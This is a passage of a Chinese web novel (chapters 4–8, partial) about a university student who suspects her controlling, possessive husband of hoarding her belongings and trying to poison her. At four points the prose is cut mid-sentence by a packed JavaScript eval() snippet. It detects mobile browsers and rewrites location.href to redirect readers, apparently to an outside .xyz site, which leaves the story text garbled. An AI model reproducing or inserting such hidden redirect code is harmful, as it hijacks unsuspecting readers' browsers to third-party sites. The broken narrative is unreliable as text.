沈寂一般在前一天晚上疯过之后,第二天都会变得比较好说话。 他似乎是想演绎正常夫妻之间的相处日常,有亲密,有陪伴,偶尔还会发生一些争吵,就像是在玩他自己所写的剧本杀。 兰稚青拿捏住了这一点,再加上她现在的确有足够充分的理由,自然敢对沈寂大呼小叫,要求他把自己的衣服还回来。 “如果你不把我的衣服完完整整地找出来,那我们从今天开始就分房睡。” 兰稚青给沈寂下了最后通牒,“我没办法和杀死我superme卫衣的人睡在同一张床上!” “小乖你不要生气,可能是我洗衣服的时候不小心放错了……我再去别的房间找找。” 沈寂很少会见到兰稚青发这么大的火,他神色隐隐有些慌乱,脱下身上的围裙就朝楼上走去。 这套房子听说是沈寂父母留下来的,三层的小别墅坐落在寸土寸金的市中心,价值想也知道不会便宜。 兰稚青从搬进来之后就已经上上下下巡视了一遍,但唯有一个房间她没有去过。 那就是位于三楼最深处的房间。 那个房间一直都挂着锁,沈寂不允许她过去,说那是废弃的杂物间,里面满满都是灰尘。 可是兰稚青却知道,沈寂一直有进去那个神秘的房间。 童话故事里,蓝胡子不让自己的新娘进神秘的房间,是因为里面藏了他所杀死的妻子的骸骨。 而沈寂不让她进入那件神秘的房间,他在里面又藏了什么呢。 是杀人的工具,还是他故意布置的密室……更或者里面也藏着沾满鲜血的尸骨…… 兰稚青看着沈寂打开了那扇房间的门,她害怕被沈寂发现自己的踪影,所以装模作样地下楼去厨房逛了一圈。 沈寂今天早上做的是香菇猪肉馅的小笼包,以及烤的金黄酥脆的黄油烤面包。 兰稚青仔细观察着厨房的用具,甚至连垃圾桶都看了一遍,试图从里面找到任何下毒的痕迹。 “小乖,我找到你要的衣服了。” 找到衣服的沈寂匆匆走下了楼,他的怀里抱着那件厚实的黑色卫衣,温声道:“抱歉,是我收拾家的时候不小心放到楼上的旧衣帽间里了,下次我一定会注意的。” 说谎。 沈寂绝对是在说谎,那件衣服明明就是从楼上那个上锁的神秘房间里拿出来的。 那个房间里除了她温暖厚实的superme卫衣,可能还有她消失不见的adibas短袖,以及她材质轻柔的LU围巾,和她在地摊上花十块钱买下的minmin发夹。 自从她和沈寂住在一起后,她的东西就开始变得越来越少。 “对不起小乖,下次我一定会注意的。” 沈寂把那件卫衣放在了兰稚青的面前,那张漂亮的脸上满是无措和小心翼翼。 兰稚青皱了皱眉,倒是没有再说什么,自己回房间换下了身上的睡衣,套上了她心心念念的superme卫衣。 “宝宝,快来吃饭吧,一会儿我送你去学校……” “不用了,我来不及了,你今天不是要开会吗,我自己打车走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880333|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行。” 兰稚青头也不抬地收拾好了自己的包,沈寂见状眨了眨眼,他没有再继续强求,而是重新回到厨房拿了早就准备好的饭盒出来。 “不吃饭不行的,还是尽量在路上垫垫吧。” 兰稚青看到沈寂已经提前装好的饭盒愣了一下,总觉得他是早已预谋好了要让自己带走。 里面该不会下毒了吧…… 兰稚青心里怀疑,但是面上却不能表露出分毫,她一把接过饭盒扔进了包里,而后面不改色和沈寂道别。 “那我先走了。” “路上小心。” 沈寂想要索要一个离别的亲吻,可是却被兰稚青径直无视,他只能站在门口和她挥手告别,直到看不见她的背影才有些遗憾地收回自己的视线。 桌上刚刚摆好的早餐还冒着热气,是他一大早起床精心准备的,可是现在却已经不会有人再去品尝。 兰稚青大部分时间喜欢吃中式早餐,喜欢小笼包,馅饼以及油条豆浆,可是偶尔心血来潮,她也会想吃三明治和烤面包配热牛奶和咖啡。 沈寂摸不准她哪天的口味会发生变化,所以干脆做两份。 但是兰稚青却一口都不愿意吃。 沈寂坐在座位上沉默了许久,他那张漂亮的脸上一闪而过些许阴鸷,直接起身把所有的早餐都一股脑儿倒进了垃圾桶。 碗筷和盘子被他随手放在餐桌上,等待着钟点工过来打扫的时候清理干净。 即使是自己一个人在家,他的脚步也像是游走的蛇一样毫无声响。 卧室里还放着兰稚青刚刚换下来的睡衣。 藕粉色的丝质面料,像是皮肤一样顺滑细腻,是沈寂精心挑选出来的。 自从她的蜡笔小新秋衣和美羊羊秋裤神秘失踪之后,兰稚青似乎已经接受了沈寂对自己衣物的干涉。 可是为什么今天还要发这么大的火…… 沈寂觉得自己有点委屈,他把兰稚青最喜欢的小兔玩偶端正摆放在了床头,而后埋在她换下的睡衣上深吸了一口,想象着自己这个时候正和兰稚青拥抱在一起。 他的宝贝会依偎在自己的怀里,软着声音说“老公,我最喜欢吃你做的饭菜。”和“老公,我最喜欢你了,我要和你这辈子都不分开。” 沈寂越想越觉得幸福,他把衣服抱得更紧,幻想着兰稚青正在对他甜言蜜语。 好香…… 但是不能闻太久,不然味道就淡了。 沈寂恋恋不舍地把衣服叠好,离开卧室后径直上楼走到三楼最尽头的房间。 他用随身携带的钥匙解开了锁,里面放着好几排的架子,其中整整齐齐摆着兰稚青的各种东西。 包括但不限于她温暖厚实的superme卫衣,凉爽透气的adibas短袖,材质轻柔的LU围巾,和她在地摊上花十块钱买下的minmin发夹,以及她的蜡笔小新秋衣和美羊羊秋裤。 沈寂把睡衣放在了原本那件黑色卫衣的架子上。 在熟悉香气的安抚下,他终于恢复了平静,自己靠在房间的躺椅上轻轻闭上了眼睛。 好舒服,要是可以抱着宝宝在这里冬眠就好了…… 5. 第 5 章 兰稚青今年已经大四,在同届的同学都在准备实习或考研考公的时候,她还要去和学弟学妹们一起重修大三的专业课。 她不是一个懒惰的人,相反她的成绩相当优秀,每年都能拿到一等奖学金。 除去在上个学期,她的一门专业课因为没有按时参加考试和补考而被直接挂科。 而她缺席考试的理由也很简单,专业课考试的前一天正逢她哥订婚,母亲以死相逼让她回家,可等到兰稚青回去之后才发现只是她哥想让她到场充充门面。 补考的当天她得到自己父亲重病住院的消息,结果连夜赶回去之后才发现是父母给她安排了相亲,准备拿她换一笔彩礼。 牵一发而动全身,这个世界上一切都是有联系的。 如果不是因为挂科,那她就不会和奖学金擦肩而过。 如果不是因为没拿到奖学金,那她就不会去网上卖画稿赚钱。 如果她没有去网上卖画稿赚钱,那她就不会认识沈寂。 如果她没有认识沈寂,那她就不会和对方结婚。 如果她现在没有结婚…… “学姐……学姐……” 兰稚青正在沉思之际,旁边却突然有人碰了碰她的胳膊。 她顿时如梦初醒,一脸迷茫地看向刚刚碰自己的卷发男生。 “学姐,老师刚刚布置了小组作业,我们几个一组可以吗?” 卷发男生有些腼腆地冲他笑了笑,自我介绍道:“我叫路锡鸣,我们之前一起参加过社团活动,不知道你还记不记得。” “路锡鸣……” 兰稚青对这个名字并没有什么印象,或者更加准确来说,她对大部分人的名字都没什么印象。 她可以在互联网上准确说出对方的ID和圈名,但是在现实中直到毕业都没办法把自己的同班同学和名字对号入座。 不过这并不影响她的正常社交,她假装思索了一番,而后轻轻点了点头,“原来是你啊,真的好久不见了。” “那学姐……你可以和我们一组吗?” 路锡鸣像是生怕兰稚青会不答应,他又补充道:“我们这一组的组员成绩都很不错的,一定不会给学姐拖后腿的。” 兰稚青轻轻点了点头,欣然答应了下来,“好啊,正好我现在也没有找好小组。” 她之前就已经上过一遍这门课,知道这门专业课的老师喜欢留各种各样的小组作业,说是为了培养大家的团队合作能力。 如果没办法自行组成小组的话,那就要服从统一安排,指不定会分到什么摸鱼划水无能狂怒生活可以自理但实际上是智障的离谱队友。 相比较之下,有人邀请总好过去捡歪瓜裂枣。 路锡鸣闻言笑得更加灿烂,他的头发本来就是自来卷,又染了一头金发,看起来像是一只毛茸茸的金毛狗。 ……路锡鸣……卷发金毛狗。 兰稚青在心里默念了一遍。 嗯,这次应该能记住了。 “学姐,一会儿你下课有空吗?” 路锡鸣压低了声音,小声道:“我们下课打算一起去讨论一下小组分工,学姐你能来吗?” “可以。” “那太好了,我们加一下联系方式,我把你拉进群里!” 路锡鸣是个很热情的人,就像是他的头像一样,是一只摇着尾巴的小金毛,他似乎和小组里的每一个人都很熟,群里的气氛也很不错,大家对于新加入的兰稚青表示热烈的欢迎。 可是兰稚青却没有再看手机,她在群里打了声招呼后就把手机反扣在桌面上,继续低头看起了书。 路锡鸣坐在她旁边的位置,他用余光不经意地打量着她,直到老师宣布下课才终于收回自己的视线。 “学姐,你的包重不重,要不要我帮你拿?” “不用。” 兰稚青拒绝了路锡鸣的示好,她问道:“我们小组要在哪里碰面,要去找一个空教室吗?” “去学校新开的那家咖啡馆怎么样,我办了一张会员卡,可以打折的。” 兰稚青闻言倒也没什么异议,她轻轻点了点头,径直就要走出教室。 路锡鸣见状连忙跟了上去,热情洋溢道:“学姐,等等我,我们一起过去吧。” 兰稚青不是个外向的人,她在互联网上可以舌战群儒,骂得对方找不到北,可是在现实里却格外沉默寡言。 她不喜欢说话,哪怕和沈寂在一起的时候也总是沈寂主动找话题和她搭话。 可偏偏路锡鸣是个话痨,他跟在兰稚青的身边一会儿说图书馆新增了两个自动贩卖机,一会儿又说学校北区二食堂开了一家好吃的小碗菜,甚至路上遇见一只流浪猫都能停下来摸摸肚子拍拍头,如数家珍地说出这只猫的名字由来和常常出没的具体地点。 兰稚青觉得烦不胜烦,但是碍于情面还是时不时会回答几句,却不知道这却更加激发了路锡鸣的热情。 “学姐,你今天中午有安排吗?要不我请你吃饭吧,就当是感谢学姐加入我们小组的报答。” 路锡鸣摸了摸自己的鼻子,小声道:“其实我之前就听说学姐绩点一直排在第一,和我们一个小组是我们占便宜了,以后还得麻烦学姐多多关照呢。” “吃饭就不用了,我中午还有事。” 一说起吃饭,兰稚青倒是突然想起了放在自己包里的饭盒,今天早上沈寂强塞到她的手里,她生怕里面有毒,所以至今一口没动。 可万一里面没下毒,她又原封不动把饭盒再拿回去,会不会更加容易引起怀疑…… 兰稚青越想越觉得在理,她小跑着走向路边的垃圾桶,打开沈寂准备的饭盒,把里面的东西一股脑儿倒得干干净净。 旁边路过的保洁大叔神色异样地看了她一眼,嘟囔了一句“浪费粮食”。 路锡鸣看到兰稚青的行为也有些诧异,他奇怪问道:“怎么了学姐,怎么突然都倒掉了。” “没事,东西放的太久了,我估计是坏掉了,现在才想起来丢掉。” 兰稚青把饭盒的外壳擦干净,这才重新扔进了自己的包里。 路锡鸣没怎么在意,反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880334|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是点了点头认可道:“那确实得多注意一下,毕竟食品安全真的很重要,万一吃坏肚子才是真的得不偿失。” 学校新开的咖啡馆消费不低,以普通学生的消费水平来说价格的确有点偏高,可是路锡鸣却像是毫不在意。 他热情招呼其他组员一起点单,笑眯眯道:“大家随便点就好,今天我来请客。” 其他人似乎都已经习惯了,兰稚青不太想欠人情,可是路锡鸣执意不肯收钱。 他的外套从一走进室内的时候就已经脱下,里面是一件宽松的V领米色毛衣,在端起咖啡杯的时候袖口微微下滑,手腕上的手表若隐若现。 兰稚青的视线不自觉地落在他的手表上,路锡鸣似有所感,侧头看向了她,“怎么了?” “没事。” 兰稚青倒也不掩饰,客气道:“你的手表挺好看的,我男朋友也有一块类似的。” 不过沈寂的手表实在太多了,她只是看着表盘相似,实际上根本看不出有什么区别。 但根据沈寂这个人一向龟毛挑剔奢侈精致的生活习惯来看,她想路锡鸣手上这块手表应该也同样价值不菲,至少足以说明对方家境殷实。 “你有男朋友了?” 路锡鸣闻言愣了一下,还未来得及细问,坐在对面的男生就一脸夸张地凑了过来。 “我去,锡鸣,你又买新表了?” 他抓着路锡鸣的手腕细细打量着那支手表,艳羡道:“这个牌子可贵了,要多少钱啊。” 路锡鸣笑了笑,随意道:“没多少钱,是我爸买的,我自己也不太懂。” 他扭头看向兰稚青,本来还想再和她多问一句,可是已经错过了最好的时机,他只能默默移开自己的视线,改口道:“我们别耽误时间了,还是先讨论一下小组作业吧。” 就像是路锡鸣所说的那样,这个小组的成员大多成绩不错性格也好,完全没有那种浑水摸鱼的情况出现。 和这样的组员在一起相处无疑是很舒服的。 大家以最快的速度敲定了这次小组作业的题目,又具体细化了一下分工和流程,整个过程快速而又轻松。 兰稚青对此真的长舒了一口气。 她不愿意在家里多待,因为家里有沈寂这个不安定的因素存在。 如果连在学校里都要和一群没脑子的二百五打交道,那她的人生真的是要彻底完蛋了。 “学姐,你尝尝这个,这家店的慕斯蛋糕做的特别好。” 组里的其他成员都是互相认识的,大家在讨论作业之外偶尔也会聊几句闲天,气氛格外融洽,唯有兰稚青一直沉默寡言,路锡鸣生怕她会觉得受到冷落,一直在热情招呼着她。 兰稚青下意识就想要拒绝,可是还没有来得及开口,放在桌上的手机就突然亮了起来。 沈寂在这个时候又给她打来了电话。 兰稚青微不可察地皱了皱眉,直接把手机倒扣在桌面上,果断选择了无视。 “学姐,你不接电话吗?” “没事,是骚扰电话,不用管的。” 6. 第 6 章 路锡鸣了然地点了点头,他把蛋糕朝兰稚青的方向推了推,可是兰稚青却只是端起咖啡抿了一口。 “天哪,你们快看论坛,太可怕了,有人在学校里投毒。” “真的假的?哪个帖子啊?” 坐在对面的女生本来是想在论坛上发布问卷收集数据,可是刚点进去就看到了骇人听闻的帖子,她连忙把论坛的帖子转到了群里。 “我发到群里了,听说是在猫粮狗粮里下的毒,有只小猫现在中毒进医院了。” “这也太黑心了吧,就算是不喜欢也不能残害生命啊。” 兰稚青闻言微不可察皱了皱眉,她解锁手机打开了群里发布的那条帖子,主楼就贴了一张已经口吐白沫的小猫照片还有医院的检测报告。 橘白色的长毛猫,短短的麒麟尾,鼻子还是黑黑的。 兰稚青怎么看都觉得有点似曾相识。 “这不是我们今天才看见的大黄吗?” 旁边的路锡鸣看到图片也吓了一跳,他难以置信道:“怎么会这样,我今天下课的时候才在教学楼附近看到它的,当时它明明还好好的。” 食物,下毒,垃圾桶和突然中毒的流浪猫。 兰稚青想起了那盒被自己倒掉的早点。 如果是流浪猫在她走之后跑到垃圾桶不小心吃了那些东西…… 她下意识打了个哆嗦,突然觉得一瞬间遍体生寒。 “楼主还发了捐款链接,我们要不要捐一点啊?” “捐吧……好歹能帮一点是一点,小猫也太可怜了,在学校里面这么光明正大的投毒,这得负法律责任吧。” “真过分,不知道保安能不能查到监控。” 兰稚青紧紧握着自己的手机,她颤抖着点开了捐款的链接,几乎把自己个人账户里剩下的钱都捐了出去。 她因为自己的过失而不小心伤害到其他生命感到愧疚,同样更对和自己擦肩而过的死亡产生极度的恐惧。 只差一点,只差一点点她就被沈寂毒死了…… 兰稚青的脸色越来越苍白,她觉得自己不能继续在这里待下去了,所以下意识抓起了自己的包,想要起身离开。 “我还有事,先走了……” “学姐,怎么这么突然……要不还是再等等吧。” 路锡鸣见状下意识抓住了她的手腕想要挽留,可是却被已经开始应激的兰稚青一把甩开。 “别碰我!” “对……对不起,学姐,我不是故意的。” 不仅是路锡鸣,就连在场的其他组员因为兰稚青突如其来的爆发而吓了一跳。 兰稚青脸色苍白地站在原地,她沉默了许久,最终还是开口道:“不好意思,我情绪太激动了。” “没事的学姐,是我刚刚太着急了。” 路锡鸣听到兰稚青的道歉连忙摆手,他指了指旁边的窗户,解释道:“因为外面下了大雪,现在路不好走的,你要不要等过一会儿雪小一点再走。” 最近的天气有些反复无常,刚刚他们在一起讨论小组分工的时候还只是飘着细碎的雪粒,后来越下越大,现在已经是有些妨碍出行的鹅毛大雪。 寒风凛冽刺骨,一出门就会被飞雪所包围,现在确实不是离开的最好时机。 而且就算是她现在走了,又能躲到哪里去。 兰稚青深吸了一口气,最终还是理智战胜了情感,她听从路锡鸣的建议默默又坐回了自己的位置。 坐在对面的女生似乎看出了她情绪不太对,试探问道:“学姐,你还好吗,要不要我陪你出去透透气?” 兰稚青闻言愣了一下,她轻轻摇了摇头。 “我没事,就是刚刚被论坛上的照片吓到了,觉得有点害怕。” 路锡鸣听到这话微微一顿,立马紧跟着附和,“确实是,那几张照片真的有点吓人,我和学姐下课的时候才刚看到大黄,没想到会发生这种事……” “害怕也很正常,现在有人能在学校就这么光明正大给猫猫狗狗投毒,指不定过两天就能报复社会给人投毒了。” “你这么一说还真的是,人家不都说那些连环杀人犯最开始就是从虐杀小动物开始的,之后越来越变态,就开始对人动手了。” “咱们学校食堂窗口还在招学生兼职呢,万一那个下毒的人去食堂做兼职下毒怎么办?” “你别再说了,你再说我连食堂都不敢吃了。” 刚刚发生的事情就像是一个无关紧要的插曲,大家很快就把这篇翻了过去,转而又开始讨论起了论坛上的事情。 兰稚青始终坐在座位上一言不发,像是一个不会说话的透明人。 路锡鸣的视线总是不自觉地放到她的身上,他看到她杯中的咖啡已经没有了热气,主动道:“学姐,你的咖啡凉了,我再帮你点单换一杯吧。” “不用了,我……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880335|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 兰稚青闻言刚想要拒绝,可是手机却又有电话打了进来。 她看到了熟悉的号码,脸色变得更加苍白。 不想接但又不敢不接。 在刚刚的事情发生之后,她只觉得这通电话是即将过来索命的诅咒。 兰稚青哆嗦着手指端起已经凉透的咖啡喝了一口,试图让自己镇定下来。 她就这么沉默看着屏幕因为来电而亮起,最后因为无人接起逐渐熄灭。 “学姐,你是不是身体不太舒服。” 路锡鸣并没有因为兰稚青的拒绝而放弃,他把刚刚点好的热可可放到了兰稚青的面前,关切道:“你的脸色看起来不太好,喝点热的暖一暖吧。” “……谢谢。” 兰稚青这次倒没有再推拒,她握住了自己面前的那杯热可可,她的手指早就因为恐惧而变得冰凉僵硬,试图通过这样汲取更多的温暖。 坐在对面的几个组员还在叽叽喳喳聊着天,一开始还在讨论中毒的流浪猫,到后面话题越来越歪,不知道怎么就绕到了兰稚青的身上。 “对了学姐,你之前有没有修过张教授的专业选修课啊,我听说她虽然经常随堂测验,但是考试给分还挺高的。” 兰稚青听到有人喊她下意识抬起了头,对上对面一脸期待的眼神,她声音干涩,回答道:“确实是这样,张教授人挺好的,只要不缺勤按时交作业,基本都可以拿一个不错的成绩。” “那赵老师呢,我大一的时候上过他的专业导论课,感觉他上课也挺有意思的。” “赵老师上课从来不点名考勤,不过他考试出的题目一般都很难,而且很少会捞人。” “啊……怎么这样啊,我下学期还想选他的课呢。” 兰稚青听着他们七嘴八舌讨论着选课的事情,在聊天的过程中,她似乎也暂时忘记了那股如影随形的恐惧,在不知不觉中放松了下来。 店门上挂着的小风铃发出了一声清脆的声音,店员听到声音连忙起身想要迎接,看清对方的长相也不由得一怔。 “您好,欢迎光临,请问是一个人……” “谢谢,我是来找人的。” 沈寂打断了店员的话,他站在店里环视了一圈,最终在靠近窗户的位置锁定了兰稚青的背影。 他弯了弯眉眼,那双漂亮的眼睛也跟着带上了光彩。 找到了。 原来是躲在这里了。 7. 第 7 章 或许是今天的气氛还算不错,在结束了讨论之后,有人干脆顺势提出了要一起吃饭的建议。 “这天也太冷了,要不我们一起出去吃火锅吧?” “上次吃的那家就不错,前两天他们家好像还上了团购,算下来可合算了。” “北门那家吗,那家的牛肚包虾滑可好吃了!” 吃火锅这个提议几乎是得到了所有人的支持,兰稚青却没这个想法。 她和这些学弟学妹在今天之前完全素不相识,只不过是在一起完成小组作业的组员关系,就算相处还算愉快,也不需要一起出去吃饭进行多余的社交。 “你们去吧,我就不……” “学姐,我们还是一起去吧,冬天吃火锅可暖和了。” 路锡鸣见状连忙开口道:“那家店离着很近,就在学校门口。” “还是算了,我下午……” “宝宝。” 沈寂悄无声息地走到了兰稚青的身后,在她开口的瞬间,他的手已经轻轻搭在了她的肩膀上。 兰稚青听到熟悉的声音身形猛然一僵,她像是一个被上了发条的木偶人慢慢抬起了头,对上了沈寂似笑非笑的眼眸。 “你……你怎么来了。” “外面下雪了,我来接你回家。” 沈寂的视线在旁边的几人身上划过,神色看不出半分破绽,温声问道:“这几位是你的同学吗,我是不是打扰到你们了?” “啊……没有没有,不打扰,我们已经讨论完了。” 在场的其他人闻言连忙开口,看到不请自来的沈寂丝毫没有被打断的不耐烦。 沈寂有一张足以迷惑人心的皮囊,他总喜欢和兰稚青穿同色系的衣服,本来肤色就白,如今又穿了一件黑色的大衣,整个人看起来都像是冰砌雪雕出来的。 路锡鸣听到沈寂对兰稚青亲昵的称呼,他下意识看向旁边的兰稚青,有些惊讶地求证道:“学姐,这位是……” 兰稚青没想到沈寂这么快就找到了这里,她避无可避,只能僵着一张脸开口介绍:“他叫沈寂,是……是我的男朋友。” …… 男朋友。 竟然只是男朋友。 沈寂脸上的笑意在一瞬间凝滞,他没有当众拆穿兰稚青的谎言,只是按在她肩膀上的手指微微收紧,像是不动声色的警告。 “原来是学姐的男朋友……那个,沈哥,我方便这样称呼你吗,你要不要来这里坐。” 路锡鸣把自己搭在旁边椅子上的外套拿走,他笑眯眯道:“我们刚刚正在讨论要去校门口吃火锅,沈哥你要不要一起?” 沈寂闻言轻轻挑了挑眉,他的眼神略带审视地打量了一番路锡鸣,半晌唇畔才浮现出一丝轻慢的笑意。 他没有直接回答路锡鸣的问题,而是低头看向了兰稚青,温柔询问道:“宝贝,你要去吃火锅吗?” “不……我就不去了。” 兰稚青想到那盒带毒的早点,根本不敢对沈寂有任何的反抗,结结巴巴道:“我身体不舒服,想先回家休息了。” “既然这样,那我们就先回去了。” 沈寂拉着浑身僵硬的兰稚青起身,他稳稳牵住了她的手,解下带着自己体温的围巾围到了兰稚青的脖子上。 兰稚青合理怀疑如果现在不是在公共场合,沈寂会直接勒紧围巾把她勒死。 在场的其他人呆呆注视着他们走出店门,直到看不见两人的身影,这才终于敢开口说话。 “我靠,好绝一帅哥。” “就是说啊,又高又帅,不过我总觉得这个人好像看起来有点眼熟……” “锡鸣,你估计是没戏了。” 在场的人都能看出路锡鸣对兰稚青殷勤的态度,见状不由得调笑道:“出师未捷身先死,不过输给这种程度的帅哥也不是很亏。” “瞎说什么,我又没那个意思。” 路锡鸣透过玻璃窗看到兰稚青坐上沈寂的车,他神色微滞,转而又问道:“快到中午了,我们现在去火锅店?” “好啊,冬天吃火锅的人多,我们早点去还不用排队。” 路锡鸣轻轻点了点头,对旁边的服务生挥了挥手,“你好,我们这一桌结账。” “同学,你们这桌的帐已经结过了。” 服务生快步走了过来,解释道:“就是刚刚过来的那位先生结的。” “……是这样啊。” 路锡鸣闻言一愣,他的表情看不出喜怒,“那真的要谢谢他了。” 兰稚青对所发生的一切都全然不知,她唯一知道的就是,自己马上就要完了。 沈寂帮兰稚青打开车门,兰稚青几乎是没有任何犹豫就钻了进去,看起来就像视死如归跳下陷阱的猎物。 现在这个时候反抗也没什么用,她只能自求多福。 沈寂自顾自坐在了驾驶座,他瞥了一眼身旁战战兢兢的兰稚青,她的半张脸几乎都埋在了厚实的围巾里,像只受惊的兔子一样小心翼翼用余光看他。 “安全带。” 沈寂微不可察皱了皱眉,兰稚青顿时吓了一跳,她胡乱点头应了一声,手忙脚乱凑过去帮沈寂扣好了安全带。 沈寂见状一怔,心头的不快倒是因为兰稚青殷勤的态度消散了不少,差点又没忍住抱着她亲上去。 不过他可不是那种没什么心眼的傻小子,他有的是力气和手段。 哪怕是兰稚青主动讨好他也要拿乔作势,免得让兰稚青觉得他好糊弄,往后更不会好好待他。 他冷哼了一声,故意道:“给我系做什么,我是说让你给自己系上安全带。” “对、对不起,我弄错了……” 兰稚青吓得打了个哆嗦,连忙把沈寂的安全带解开,缩回自己的位置老老实实给自己扣好安全带。 “……” 沈寂几乎快要被兰稚青的行为给气笑了,如果不是因为他足够了解兰稚青,那他真的会合理怀疑兰稚青是不是故意在和他作对。 车内的气氛陷入了诡异的寂静,兰稚青看着车窗外的景色飞驰而过,终于忍不住率先开口道:“……我们要直接回家吗,今天中午吃什么?” “吃什么?” 沈寂闻言冷哼了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880336|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,似笑非笑道:“我还以为你刚刚在咖啡厅偷吃就已经吃饱了呢。” “什么偷吃……只是小组成员凑在一起讨论作业。” 兰稚青心知沈寂疑神疑鬼的毛病又犯了,她好声好气道:“你又不是没有看到,那里那么多人,而且我也只喝了一杯咖啡。” “那你为什么一直不接我电话不回我消息,而且还告诉那群人说我是你的男朋友,我们不是已经结婚了吗?” 沈寂条理清晰把兰稚青的罪名罗列了一遍,委屈道:“你为什么要藏着掖着,难道你觉得和我结婚让你很丢人吗?” “当然不是……这不是现在还在学校,我说话总得注意一点,毕竟还没毕业就结婚,这样的事传出去不太好。” 兰稚青见沈寂是真的生气,生怕他一会儿就要了结了她的小命,她的声音不由得也放得更软了一些,脑子飞快转动思索着应对的办法。 “不接电话是因为我们在讨论小组作业,我手机上课的时候静音了,当时没注意。” “那坐在你身边的那个卷毛男又是谁。” 沈寂有些不太开心地抿了抿唇,他一想到路锡鸣就气不打一处来,恶毒道:“看他打扮得那副风骚样子,还染个花里胡哨的黄毛,领口开那么低,一身地摊货还敢出来显摆。” “脸长得歪七扭八的,个子也不高,他有一米八吗,身上唯一值钱的东西就是一块破表,还是去年的旧款,整个人就是典型的三无产品。” “这样的男的最坏了,谁知道他的钱是怎么来的,一看就不正经。” 沈寂对路锡鸣从外表到品位再到人品几乎是全方面辱骂了一遍,而兰稚青对于他这一通输出完全不敢有任何的反驳。 她又不傻,但凡在这个时候她敢为路锡鸣解释半句,沈寂这颗炸弹立马就会当场爆炸。 在一大堆漫长的批判之后,兰稚青终于等来了送命题。 “宝宝,你说,我们两个到底谁更好。” “这还用说吗,当然是你啊,老公。” 兰稚青为了能稳住沈寂保住自己的小命,她不惜割地赔款,在称呼上做出让步。 沈寂听到她的话,面色稍稍有所缓和,可是他一向最记仇,在等红绿灯的间隙又故意问道:“那你说我好在哪里。” “你比他长得好看,个子比他高,身材比他好,比他有钱有品位……” 兰稚青顿了顿,意识到自己走进了思维误区,又改口道:“不对,你们根本没法比,他没有一点可以和你相提并论。” “……这还差不多。” 沈寂侧身亲了一口她的脸颊,随口问道:“中午想吃什么?” “都可以……只要是在外面吃就行。” 兰稚青对上了沈寂疑惑的眼神,神色僵硬解释道:“冬天做饭最伤手了,我怕你累着。” 做饭下毒最容易了,出去吃至少还能规避一下风险。 沈寂眨了眨眼,暧昧道:“不会伤手的,每天晚上你不是都有帮我补水吗。” 兰稚青:“……” 不想活了,现在就想和沈寂同归于尽。 8. 第 8 章 “对了,今天早上你吃早餐了吗?” 兰稚青的脸皮向来薄,沈寂似乎也意识到自己逗过头了,他主动转换了话题,试探道:“我今天第一次包这种馅的包子,不知道合不合你的胃口。” 来了。 最难搞的问题终于来了。 如果她说自己没吃,那就难以解释为什么饭盒里的早点消失不见。 如果她说自己吃了,那她就更无法解释自己为什么现在还活着。 能把一只猫这么快就毒死,说明里面的毒药见效很快,而且十有八九是剧毒。 她不能说自己把包子分给了同学,也不能说自己直接把包子全部倒进了垃圾桶。 “……我没吃。” 兰稚青沉默了许久,终于憋出了一句声音微不可闻的回答。 沈寂闻言神色微滞,他刚要开口说话,兰稚青却又立马开口补充,“事情是这样的,我本来是想吃的,可是在打开饭盒的时候司机突然刹车,我没拿稳,当时饭盒里的所有东西掉了一地。” “你的意思是……你在上学的路上把早餐给撒了?” 沈寂闻言似乎并没有什么特殊的反应,他始终注视着前方,淡淡道:“也就是说,你不仅没有尝到我给你准备的早餐,甚至连包子是什么馅都不知道。” 或许是因为从小所受到的教育使然,沈寂说话总是慢条斯理,从来不会大呼小叫,这也就导致兰稚青很难通过他的语气来分辨喜怒。 他说话的语气越温柔,兰稚青的心就越慌。 她不擅长撒谎,更不擅长圆谎,所以在沈寂反问她时,她的第一反应不是面不改色毫不心虚地点头坚持自己的观点,而是试图编造出更多的细节去佐证谎言。 “当然不是,即使没有尝到我也知道你包的是什么馅的,当时我一打开饭盒就闻到了。” 